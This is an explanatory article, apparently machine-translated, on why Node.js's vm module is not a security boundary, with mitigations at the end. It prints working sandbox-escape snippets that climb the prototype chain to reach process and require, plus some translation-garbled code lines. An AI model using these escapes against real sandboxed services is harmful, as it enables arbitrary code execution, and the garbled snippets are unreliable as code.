Author: Cong-Mann-Nobo

background

Eval /Function/ VM is used directly in business code for flexibility or ease of development. Eval /Function is used to dynamically execute JS, but it cannot mask the context of the current execution environment. However, Node.js provides a VM module, which acts as a virtual machine, allowing you to isolate the current execution environment from malicious code.

Vm Basic Introduction

The VM module can compile and run code in the V8 virtual machine context, and the virtual machine context can be self-configured to take advantage of the sandbox effect. Such as:

const vm = require("vm");

const x = 1;
const y = 2;

const context = { x: 2.console };
vm.createContext(context); // Context-isolated objects.

const code = "console.log(x); console.log(y)";

vm.runInContext(code, context);
2 / / output
// Uncaught ReferenceError: y is not defin
Copy the code

As you can see from the examples above, the main difference from eval/Function is that you can customize the context, which allows you to control the access resources to the code being executed. For example, in the example above, except for the syntax of the language, built-in objects, etc., you cannot access any information outside the context, so the error message in the example is: y is not defined. Here is an example diagram of the vm’s execution:

Sandbox environment code can only read VM context data.

The sand box escape

Node.js is described on the vm documentation page as follows:

The VM module is not a secure mechanism. Do not use it to run untrusted code.

When I first saw this sentence, I wondered why it happened. He should be safe from that understanding, right? After searching, we found an escape example:

const vm = require("vm");

const ctx = {};

vm.runInNewContext(
	'this.constructor.constructor("return process")().exit()',
	ctx
);
console.log("Never gets executed.");
Copy the code

In the example above, this points to CTX and takes the prototype chain to the Funtion outside the sandbox to complete the escape and execute the escaped JS code.

The above example is roughly split:

tmp = ctx.constructor; // Object

exec = tmp.constructor; // Function

exec("return Process");
Copy the code

What if the context object’s prototype chain is set to NULL?

const ctx = Object.create(null);
Copy the code

Constructor error and sandbox escape cannot be completed as shown in the following complete example:

const vm = require("vm");

const ctx = Object.create(null);

vm.runInNewContext(
	'this.constructor.constructor("return process")().exit()',
	ctx
);
// throw Error
Copy the code

But is it really that simple?

Take a look at the following examples of successful escapes:

const vm = require("vm");
const ctx = Object.create(null);

ctx.data = {};

vm.runInNewContext(
	'this.data.constructor.constructor("return process")().exit()',
	ctx
);
// Escape successful!
console.log("Never gets executed.");
Copy the code

Why is that?

why

The prototype chain of all objects in JS will point to Object.prototype, and Object. Prototype and Function are mutually pointing, all objects can get Function through the prototype chain, and finally complete sandbox escape and execute the code.

After escaping, the code can execute the following code to get to require and load other module functions, as shown in the following example:

const vm = require("vm");

const ctx = {
	console}; vm.runInNewContext(` var exec = this.constructor.constructor; var require = exec('return process.mainModule.constructor._load')(); console.log(require('fs')); `,
	ctx
);
Copy the code

The sandbox execution context is isolated, but the Function outside the sandbox can be obtained through the prototype chain to complete the escape and retrieve the global data, as shown in the following figure:

conclusion

Due to the nature of the language, global functions can be retrieved in a sandbox environment through a prototype chain and used to execute code.

Finally, as is officially stated, you should ensure that the code you are running is trusted when using a VM.

Functions such as eval/Function/ VM that can execute dynamically must be used to execute trusted code in JavaScript.

The following are probably some of the most common scenarios where dynamic script execution is used: template engines, H5 games, and scenarios that seek a highly flexible configuration.

The solution

  • Pre-processing, such as code security scans, syntax restrictions
  • With the VM2 module, the essence of it is to perform security checks by proxy, although there may be escape modes that do not appear, so it is used with caution.
  • Implement your own interpreter and take over all object creation and property access at the interpreter layer.